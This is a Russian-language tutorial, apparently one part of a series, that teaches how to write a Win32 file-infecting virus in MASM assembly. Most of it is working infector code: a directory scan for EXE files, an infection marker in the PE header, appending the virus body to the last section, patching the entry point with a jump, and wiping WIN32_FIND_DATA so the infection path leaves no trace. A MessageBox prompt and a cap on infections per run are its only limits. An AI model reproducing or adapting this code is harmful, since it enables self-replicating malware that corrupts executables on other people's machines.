Пишем вирус
Перед кодингом определимся, что наш вирус должен делать. Пусть он будет искать все файлы с расширением EXE в текущей директории (не включая поддиректории) и внедрять в них свой код. При этом сделаем возможность ограничения на количество заражаемых программ за один запуск и ограничение на размер заражаемой программы. Также сделаем так, чтобы вирус трогал только файлы с одним из атрибутов: нормальный, скрытый, системный. Поэтому, прежде чем тестировать вирус, нужно установить, например, атрибут «скрытый» файлов жертв. Сама программа вируса не будет содержать никакого вредоносного кода. При запуске зараженной программы перед передачей непосредственно ей управления будет выводиться MessageBox с вопросом, хотим ли мы запустить эту программу. Если ответ положительный, выполнится код вируса, который заразит еще несколько (сколько – сами укажем в коде) программ, лежащих в одной директории с запущенной, а затем выполнится код самой зараженной программы. Если же ответ пользователя будет отрицательным – завершаем программу без заражения других близлежащих файлов и без выполнения самого кода жертвы.
Итак, цель перед собой поставили. Осталось реализовать задачу, учитывая все тонкости и проблемы, которые могут возникнуть при реализации. Приступим.
Все данные, которые мы будем использовать, хранятся в нашем вирусе, либо в глобальных переменных, либо в стеке. И, естественно, в секции кода:
begin_data: infect_count db 0 ; Счетчик зараженных программ j_m_p db 0E9h save_vir_b db 5 dup(0) old_save_vir_b db 5 dup(0) dwSectionAlignment dd 0 WIN32_FIND_DATA label byte WFD_dwFileAttributes dd 0 WFD_ftCreationTime dq 0 WFD_ftLastAccessTime dq 0 WFD_ftLastWriteTime dq 0 WFD_nFileSizeHigh dd 0 WFD_nFileSizeLow dd 0 WFD_dwReserved0 dd 0 WFD_dwReserved1 dd 0 WFD_szFileName db 260 dup (0) WFD_szAlternateFileName db 14 dup (0) WIN32_FIND_DATA_END label byte delta_off equ [ebp+18h] ; Адреса функций (см. в первой части) ;-------------------------------------------------------------------- ; Таблица хешей (см. в первой части) ;-------------------------------------------------------------------- ; Режимы доступа к файлу GENERIC_READ equ 80000000h GENERIC_WRITE equ 40000000h FILE_SHARE_READ equ 1 FILE_SHARE_WRITE equ 2 OPEN_EXISTING equ 3 ; Атрибуты файла FILE_ATTRIBUTE_HIDDEN equ 2 FILE_ATTRIBUTE_SYSTEM equ 4 FILE_ATTRIBUTE_NORMAL equ 80h ; Максимальное число жертв MaxVictimNumber equ 2 ; Максимальный размер файла в байтах CheckVictimSize equ 0 ; Проверять размер? MaxVictimSize equ 35 * 1024 ; Размер всего кода вируса в байтах Virsize equ $-start end_data: dd Virsize ; Размер кода в байтах dd $ - save_vir_b - 4 + 4096 - Virsize ; Смещение save_vir_b относительно ; конца 4096-байтного блока dd begin_data - start ; Смещение метки begin_data ; относительно start dd HashTable - start ; Смещение метки HashTable ; относительно start
Как видим, мы используем переменную infect_count в качестве счетчика зараженных программ. Само же максимальное число жертв за один запуск хранится в константе MaxVictimNumber. Переменная j_m_p содержит опкод одноименной команды. Это нужно, чтобы при внедрении в программу изменить первые 5 байт ее точки входа на код прыжка на тело нашего вируса. Эти 5 байт будем хранить в переменных (точнее, в массивах) save_vir_b и old_save_vir_b. Зачем этих переменных две? Будет ясно далее. Но коротко скажу, что вторая - для корректной работы. Переменная dwSectionAlignment будет использоваться для временного хранения значения границы выравнивания при определении выровненного значения размера файла программы-жертвы. WIN32_FIND_DATA – известная структура, используемая при поиске файлов функциями FindFirstFile, FindNextFile. Имя delta_off указывает на ту часть стека, где хранится дельта-смещение, рассмотренное выше. Как раз сюда мы сохранили это смещение первой командой push в начале кода. Константу CheckVictimSize используем для включения/выключения проверки размера файла программы-жертвы. Если эта константа равна нулю, то будут заражаться файлы любого размера. Иначе - будут заражены файлы размером не более MaxVictimSize байт. Константу Virsize используем при записи вирусного кода в жертву.
Зачем нам последние четыре двойных слова после метки end_data? Да, они не имеют смысла, но мы их сознательно создаем, чтобы после компиляции нашего вируса посмотреть в каком-нибудь HEX-редакторе (буду использовать HIEW 6.11) значения последних 32-битных двойных слов. Они будут нам нужны при написании программы-доктора, удаляющей наш вирус из зараженного файла.
Данные описали. Теперь пишем сам код. Поскольку мы храним наши данные в секции кода, то нужно разрешить писать в нее, ведь секция кода предназначена только для чтения и запуска. Сделаем это с помощью функции
VirtualProtect:
; Разрешаем записывать данные в секцию кода pusha push esp push 40h push OFFSET end_data - OFFSET begin_data mov eax, OFFSET begin_data add eax, delta_off push eax call VirtualProtect popa
А при сборке вируса линковщику также нужно указать, что в секцию кода можно писать:
C:\masm32\bin\ml /nologo /c /coff main.asm
C:\masm32\bin\link /nologo /subsystem:windows /out:bin\main.exe /SECTION:.text,rwe main.obj
Далее нам нужно спросить пользователя «Вы действительно хотите запустить данную программу?»:
; Загружаем user32.dll pushz "user32.dll" call LoadLibrary push eax ; Находим MessageBoxA pushz "MessageBoxA" push eax call GetProcAddress ; Вызываем MessageBoxA push 24h pushz "Заражение" pushz "Вы действительно хотите запустить эту программу?" push 0 call eax mov ebx, eax pop eax ; Освобождаем библиотеку user32.dll push eax call FreeLibrary ; Если пользователь отказался запускать программу - выходим cmp ebx, 7 ; IDNO je ExitVirus
Далее производим поиск файлов с
определенными критериями в текущей
директории:
; Обнуляем счетчик заражений lea esi, infect_count add esi, delta_off and byte ptr [esi], 0 push eax ; резервируем место в стеке для hFind ; Определяем и устанавливаем текущую директорию lea esi, WFD_szFileName add esi, delta_off push LENGTHOF WFD_szFileName push esi push 0 call GetModuleFileNameA lea edi, WFD_szFileName add edi, delta_off mov ebx, eax add ebx, edi _scan_back: dec ebx cmp byte ptr [ebx], '\' jne _scan_back mov byte ptr [ebx], 0 push edi call SetCurrentDirectoryA ; Начинаем поиск программ lea eax, WIN32_FIND_DATA add eax, delta_off push eax pushz "*.exe" call FindFirstFileA mov hFind, eax ; Сохраняем хендл поиска inc eax ; cmp eax, INVALID_HANDLE_VALUE jnz _OpenFile ; Если нет ошибок jmp _Exit ; Ошибка. Ни одного файла не найдено. Выходим ; Продолжаем поиск _FindNextFileA: lea eax, WIN32_FIND_DATA add eax, delta_off push eax push hFind call FindNextFileA or eax, eax jz _Exit ; Если ничего больше не найдено, выходим ; Файл найден _OpenFile: ; Проверяем атрибуты mov eax, OFFSET WFD_dwFileAttributes add eax, delta_off mov eax, [eax] .IF !(eax & FILE_ATTRIBUTE_HIDDEN || eax & FILE_ATTRIBUTE_SYSTEM || eax & FILE_ATTRIBUTE_NORMAL) ; Атрибуты не подходят. Пропускаем файл jmp _FindNextFileA .ENDIF ; Проверяем размер файла mov eax, OFFSET WFD_nFileSizeLow add eax, delta_off mov eax, [eax] mov ebx, CheckVictimSize .IF ebx && eax > MaxVictimSize ; Размер не подходит. Пропускаем файл jmp _FindNextFileA .ENDIF ; Открываем файл push 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push 0 push FILE_SHARE_READ OR FILE_SHARE_WRITE push GENERIC_READ OR GENERIC_WRITE mov eax, OFFSET WFD_szFileName add eax, delta_off push eax call CreateFileA inc eax jz _FindNextFileA ; Не удалось открыть. Продолжаем поиск dec eax push eax ; Сохраним hFile
Далее нам нужно обнулить то, что находится в WIN32_FIND_DATA. Зачем? Можно, конечно, этого не делать, но тогда при просмотре кода жертвы мы увидим, где лежал файл, когда его заражали. Нас выдаст поле WFD_szFileName и, возможно,
WFD_szAlternateFileName.
; Обнуляем данные lea esi, WIN32_FIND_DATA add esi, delta_off mov ecx, WIN32_FIND_DATA_END - WIN32_FIND_DATA - 1 @@zero_WIN32_FIND_DATA: and byte ptr [esi + ecx], 0 loop @@zero_WIN32_FIND_DATA and byte ptr [esi], 0
Потом нам нужно прочитать из PE-заголовка жертвы значение выравнивания в переменную dwSectionAlignment, чтобы потом вычислить по действительному размеру файла его выровненное значение:
; Читаем значение выравнивания SectionAlignment push 0 push 0 push 3Ch push hFile call SetFilePointer lea esi, dwSectionAlignment add esi, delta_off push 0 push esp push 4 push esi push hFile call ReadFile mov eax, [esi] add eax, 38h push 0 push 0 push eax push hFile call SetFilePointer lea esi, dwSectionAlignment add esi, delta_off push 0 push esp push 4 push esi push hFile call ReadFile push 0 push 0 push 0 push hFile call SetFilePointer
Осталось получить размеры файла (реальный и выровненный) и прочитать его содержимое в выделенную память:
; Получаем размер файла программы-жертвы push 0 push hFile call GetFileSize push eax ; Сохраняем оригинальный размер файла dwFileSize lea esi, dwSectionAlignment add esi, delta_off mov edi, [esi] mov esi, Virsize dec edi add esi, edi not edi and esi, edi add eax, esi push eax ; Сохраняем размер файла dwAlignedFileSize ; Выделяем память под размер файла dwAlignedFileSize push eax push 0 call GlobalAlloc push eax ; Сохраняем адрес распределенной памяти pAllocMem ; Сейчас стек содержит: ; pAllocMem ; dwAlignedFileSize ; dwFileSize ; hFile ; Проверяем, нет ли ошибки при выделении памяти test eax, eax jz _CloseFile ; Ошибка есть ; Читаем файл push 0 push esp push dwFileSize ; Количество байт для чтения push eax ; Буфер для прочитанных данных push hFile call ReadFile or eax, eax jz _CloseFile ; Прыгаем, если не удалось прочитать файл
Вот и добрались до инфицирования. Перед заражением нужно проверить, заражен ли уже файл, заглянув в его PE-заголовок за значением резервного поля, о котором я упоминал выше - Win32VersionValue. Запишу туда дату рождения своей подруги в шестнадцатеричном виде:
; Далее - код инфицирования mov edi, pAllocMem ; Начало прочитанного файла add edi, [edi + 3Ch] ; VA of PE header cmp word ptr [edi], 4550h ; Проверка на валидность ... jne _Exit add edi, 4Ch cmp dword ptr [edi], 10041986h ; Поле Reserv. Проверяем, заражен ли файл ; нашим вирусом je _CloseFile mov dword ptr [edi], 10041986h ; если нет, то ставим метку о заражении sub edi, 4Ch
Прежде, чем рассматривать код добавления в конец последней секции кода нашего вируса, нужно уяснить, как выглядит дескриптор секции в таблице секций
ObjectTable:
ObjectName - Имя объекта (секции);
VirtualSize - Виртуальный размер секции (в памяти);
SectionRVA - RVA секции (в памяти, относительно Image Base);
PhysicalSize - Физический размер секции (в файле);
PhysicalOffset - Физическое смещение (в файле относительно его начала);
Reserved - Зарезервировано (для OBJ);
ObjectFlags - Битовые флаги секции.
Каждый такой дескриптор описывает одну секцию. В ObjectTable элементы идут последовательно друг за другом без промежутков, но не обязательно в порядке возрастания PhysicalOffset и SectionRVA. Т.е. последний элемент не всегда описывает последнюю секцию, хотя в большинстве случаев это так (под «последней секцией» я подразумеваю секцию, которая физически и виртуально находится в файле последней). Здесь нам понадобится физическое смещение последней секции и смещение ее дескриптора (из ObjectTable) - для того, чтобы пропатчить некоторые значения (а именно: VirtualSize, PhysicalSize,
ObjectFlags).
Найдем самое большое значение PhysicalOffset из всех дескрипторов. Дескриптор, содержащий это значение, и будет нам нужен. Так же нам понадобится найти дескриптор, который содержит наибольшее значение VirtualRVA. Зачем? Дело в том, что секция может быть физически в файле последней, а вот виртуально, т.е. в памяти, она может расположиться где угодно, например, первой. Тогда при ее расширении мы затрем последующую секцию в памяти. Такое встречается крайне редко, но нам все равно нужно обязательно это учесть, чтобы вирус работал даже в таких условиях. Затем мы проверяем, принадлежат ли значения PhysicalOffset и VirtualRVA одному дескриптору. Если да, то секция последняя и физически в файле, и виртуально в памяти. Если нет – ошибочка вышла:
; Ищем последнюю секцию _SearchLastSection: movzx ecx, word ptr [edi + 6] ; Количество элементов (счетчик) в ; таблице секций ObjectTable movzx esi, word ptr [edi + 14h] ; Размер опционального заголовка. ; Перепрыгиваем через опциональный заголовок. Попадаем на дескриптор первой ; секции: lea esi, [edi+esi+18h] ; VA первой секции mov ebx, [esi + 14h] ; Наибольшее значение PhysicalOffset mov edx, [esi + 0Ch] ; Наибольшее значение VirtualRVA push esi ; Сохраним VA элемента с наибольшим ; VirtualRVA push esi ; Сохраним VA элемента с наибольшим ; PhysicalOffset _SearchHighPhysOffs: ; Ищем cmp ebx, [esi + 14h] ; Если оно меньше, чем в наибольшем, ; то... ja _SearchHighVirtRVA mov ebx, [esi + 14h] ; Иначе, примем за наибольшее mov [esp], esi _SearchHighVirtRVA: ; Аналогично, но с VirtualRVA cmp edx, [esi + 0Ch] ja _OtherElement mov edx, [esi + 0Ch] mov [esp + 4], esi _OtherElement: add esi, 28h ; ... переходим на дескриптор ; следующей секции loop _SearchHighPhysOffs ; перебираем дескрипторы всех секций pop esi pop edi ;esi - VA элемента с наибольшим PhysicalOffset ;edi - VA элемента с наибольшим VirtualRVA ;ebx - Физическое смещение секции с наибольшим PhysicalOffset ;edx - Виртуальное смещение секции с наибольшим VirtualRVA ; Проверяем последнюю секцию на правильность _CheckOnValid: cmp esi, edi ; Проверим, принадлежат ли найденные ; смещения одному дескриптору jne _CloseFile ; Не принадлежат - выходим mov edi, pAllocMem ; Начало прочитанного файла mov edx, [esi + 10h] ; edx = физический размер последней ; секции or edx, edx ; Проверим физический размер ; последней секции jz _CloseFile ; недопустимо, чтобы был 0
Посмотрим ради интереса, что покажет нам HIEW, если мы натравим его на calc.exe (стандартный калькулятор в системе Windows):
Здесь мы видим, что последняя секция имеет имя “.rsrc” (секция ресурсов). SectionRVA этой секции – 00016000h, PhysicalOffset = 00013600h. Она действительно последняя, т.к. SectionRVA и PhysicalOffset предыдущих секций меньше.
Хорошо, последнюю секцию мы нашли и определили ее виртуальное и физическое смещение. Казалось бы, мы уже можем дописать наш код в конец этой секции, но тут есть проблема. Существуют такие программы, в которых после последней секции идут какие-то полезные данные. Чаще всего это самораспаковывающиеся архивы. Получается, что если мы допишем код в конец последней секции, то мы затрем то, что было после этой секции. В результате архив поврежден и в итоге мы получим сообщение вроде следующего (пример для
WinRAR):
Поэтому, чтобы избежать этого, такие программы лучше не трогать:
; Теперь проверим: если физический_размер_секции + ; физическое_смещение_секции меньше, чем размер всего файла, то файл не ; трогаем, т.к. скорее всего это самораспаковывающийся архив. Мы его ; повредим, затерев данные за последней секцией mov eax, [esi + 10h] add eax, [esi + 14h] .IF eax < dwFileSize jmp _CloseFile .ENDIF
Как мы уже заметили ранее, перед передачей управления основной программе, сначала должен выполниться вирусный код. А для этого мы решили изменить первые 5 байт точки входа на команду jmp. Итак, нам нужно найти точку входа в файле:
_WriteVirus: push esi push edi ; Сохраним VA жертвы mov ecx, dword ptr Virsize ; Размер записываемого кода add edi, ebx ; VA последней секции жертвы add edi, [esi + 10h] ; Теперь edi указывает на конец ; последней секции mov ebx, esi lea esi, start add esi, delta_off ; Сохраняем 5 байт save_vir_b в old_save_vir_b pusha mov ecx, 5h lea esi, save_vir_b add esi, delta_off lea edi, old_save_vir_b add edi, delta_off rep movsb popa pusha ; формируем код прыжка на тело вируса ; Высчитываем RVA кода вируса в памяти относительно ImageBase ; RVA кода вируса = RVA последней секции + Physical Size последней секции mov eax, [ebx + 0Ch] add eax, [ebx + 10h] ; eax = RVA кода вируса в памяти относительно ImageBase ; Находим физическое смещение точки входа жертвы ; Ищем описатель секции с SectionRVA = BaseOfCode _SearchCodeSection: mov edi, pAllocMem ; Начало прочитанного файла add edi, [edi + 3Ch] ; VA of PE header movzx ecx, word ptr [edi + 6] ; Количество элементов в таблице ; секций movzx esi, word ptr [edi + 14h] ; Размер опционального заголовка. ; Перепрыгиваем через опциональный ; заголовок. Попадаем на дескриптор ; первой секции: lea esi, [edi+esi+18h] ; VA первой секции _SearchCodeSectionLoop: mov edx, [esi + 0Ch] ; значение VirtualRVA cmp edx, [edi + 2Ch] ; сравниваем VirtualRVA с BaseOfCode je _CodeSectionFounded ; нашли add esi, 28h ; не нашли loop _SearchCodeSectionLoop ; продолжаем цикл поиска _CodeSectionFounded: mov ebx, [esi + 14h] ; берем PhysicalOffset найденной ; секции кода add ebx, [edi + 28h] ; складываем PhysicalOffset c ; EntryPointRVA sub ebx, [edi + 2Ch] ; вычитаем BaseOfCode. Получили ; смещение точки входа ; относительно начала файла жертвы ; ebx = физическое смещение точки входа относительно начала файла жертвы
Т.е. здесь мы сравниваем значение поля BaseOfCode PE-заголовка со значением VirtualRVA для каждой секции. Если совпадают, берем PhysicalOffset найденной секции, складываем с виртуальным смещением точки входа (в памяти) EntryPointRVA и вычитаем BaseOfCode. В результате получаем физическое смещение точки входа относительно начала файла жертвы. Осталось дописать код вируса в конец последней секции:
; Высчитываем прыжок mov ecx, [edi + 28h] add ecx, 5 sub ecx, eax xor eax, eax sub eax, ecx push eax ; результат формулы x = 0 - (y - z) ; сохраняем старые 5 бaйт начала кода жертвы mov ecx, 5h lea edi, save_vir_b add edi, delta_off mov esi, pAllocMem add esi, ebx rep movsb ; записываем джамп на код вируса mov edi, pAllocMem add edi, ebx lea esi, j_m_p add esi, delta_off movsb pop ebx mov dword ptr [edi], ebx popa rep movsb ; Записываем тело вируса в файл жертвы ; Восстанавливаем 5 байт save_vir_b из old_save_vir_b pusha mov ecx, 5h lea esi, old_save_vir_b add esi, delta_off lea edi, save_vir_b add edi, delta_off rep movsb popa pop edi pop esi
Теперь нам нужно обязательно пофиксить дескриптор последней секции, в конец которой мы дописались. Для начала нам нужно увеличить физический и виртуальный размеры этой секции на величину вирусного кода, после чего выровнять полученные новые значения. Поля в дескрипторе соответственно следующие: PhysicalSize и
VirtualSize.
Если поподробнее, то PhysicalSize является размером секции (ее инициализированной части) в файле, кратно полю FileAlign в заголовке PE Header, должно быть меньше или равно VirtualSize. А VirtualSize - виртуальный размер секции. Именно столько памяти будет отведено под секцию. Если VirtualSize превышает PhysicalSize, то разница заполняется нулями, так определяются секции неинициализированных данных.
А что такое выравнивание? Это округление выравниваемого значения в бОльшую сторону до кратности с некоторым значением. Назовем его выравнивающим фактором.
В PE-заголовке есть поля, по значениям которых (по выравнивающим факторам) выравниваются PhysicalSize и VirtualSize по следующей формуле:
(x + (y - 1)) & (~(y - 1)),
где x-выравниваемое значение, y-выравнивающий фактор.
На ассемблере мы бы написали:
mov eax, y dec eax add x, eax not eax and x, eax